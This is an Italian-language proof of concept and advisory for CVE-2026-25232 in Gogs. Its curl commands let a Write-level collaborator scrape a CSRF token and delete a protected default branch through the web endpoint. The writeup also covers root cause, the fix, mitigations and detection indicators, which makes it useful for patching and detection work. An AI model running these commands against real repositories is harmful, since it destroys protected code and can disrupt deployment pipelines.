
Proof of concept per la recente CVE-2026-25232, una vulnerabilità di escalation dei privilegi presente in Gogs.
| Campo | Dettagli |
|---|---|
| CVE | CVE-2026-25232 |
| Prodotto | Gogs (Go Git Service) |
| Versioni interessate | <= 0.13.4 |
| Versione corretta | 0.14.1 |
| Punteggio CVSS | Medio |
| CWE | CWE-863: Autorizzazione errata |
| Autenticazione richiesta | Sì (permessi di scrittura su un repository) |
| Impatto | Escalation dei privilegi da operazioni di livello Write ad Admin |
CVE-2026-25232 è una vulnerabilità di bypass del controllo degli accessi nell'interfaccia web di Gogs. Consente a qualsiasi collaboratore del repository con permessi Write di eliminare branch protetti — incluso il branch predefinito — inviando una richiesta POST diretta all'endpoint DeleteBranchPost, bypassando completamente i meccanismi di protezione dei branch.
La causa principale è una discrepanza tra il modo in cui il livello Git Hook e l'interfaccia web applicano la protezione dei branch:
DeleteBranchPost non attiva i Git Hooks, quindi il controllo di protezione non viene mai eseguitoCiò consente a un collaboratore con privilegi bassi di eseguire operazioni che dovrebbero essere riservate esclusivamente agli amministratori del repository.
http://<TARGET>:3001attacker:Password123! (permessi Write sul repo)admin/important-repomain (branch predefinito)Confermare che il branch sia protetto e non possa essere eliminato tramite i mezzi normali:
# Tentativo di eliminazione normale del branch tramite API - dovrebbe fallire
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
-u 'attacker:Password123!'
Risposta prevista: 403 Forbidden o errore di protezione.
Recuperare il token CSRF da qualsiasi pagina autenticata:
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/user/login' \
-X POST \
-d 'user_name=attacker&password=Password123!'
# Estrarre il token CSRF da una pagina del repo
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/admin/important-repo' \
| grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3
Inviare una richiesta POST diretta all'endpoint di eliminazione del branch, bypassando il controllo di protezione:
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
-b cookies.txt \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d '_csrf=<CSRF_TOKEN>&name=main'
Il branch protetto viene eliminato nonostante l'attaccante abbia solo permessi Write.
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
-u 'attacker:Password123!'
Il branch main non comparirà più nella risposta.
La funzione DeleteBranchPost nell'handler web di Gogs verifica che l'utente sia autenticato e abbia accesso Write al repository, ma non controlla se il branch di destinazione è protetto:
HTTP POST /owner/repo/branches/delete
↓
DeleteBranchPost()
↓
Controllo: L'utente è autenticato? ✓
Controllo: L'utente ha accesso Write? ✓
Controllo: Il branch è protetto? ✗ (MANCANTE)
↓
Branch eliminato con successo
Il livello Git Hook che applica la protezione dei branch viene attivato solo durante le operazioni push/delete Git tramite SSH o protocollo Git HTTP — non durante le operazioni dell'interfaccia web. Questa lacuna architetturale consente a qualsiasi collaboratore di livello Write di eseguire questa operazione.
Un collaboratore malintenzionato con permessi Write può:
In ambienti in cui i repository Gogs alimentano pipeline di distribuzione automatizzate, ciò potrebbe portare a un compromesso della supply chain.
Aggiornare a Gogs v0.14.1 o successivo. La correzione aggiunge controlli di autorizzazione adeguati nella funzione DeleteBranchPost per verificare lo stato di protezione del branch prima di consentire l'eliminazione, indipendentemente da come viene effettuata la richiesta.
Come mitigazione temporanea:
/repos/{owner}/{repo}/branches/deleteCercare i seguenti indicatori di sfruttamento:
/<owner>/<repo>/branches/delete nei log del server webQuesto PoC è solo a scopo educativo e per test di sicurezza autorizzati. Non utilizzarlo contro sistemi per i quali non si dispone di esplicita autorizzazione al test.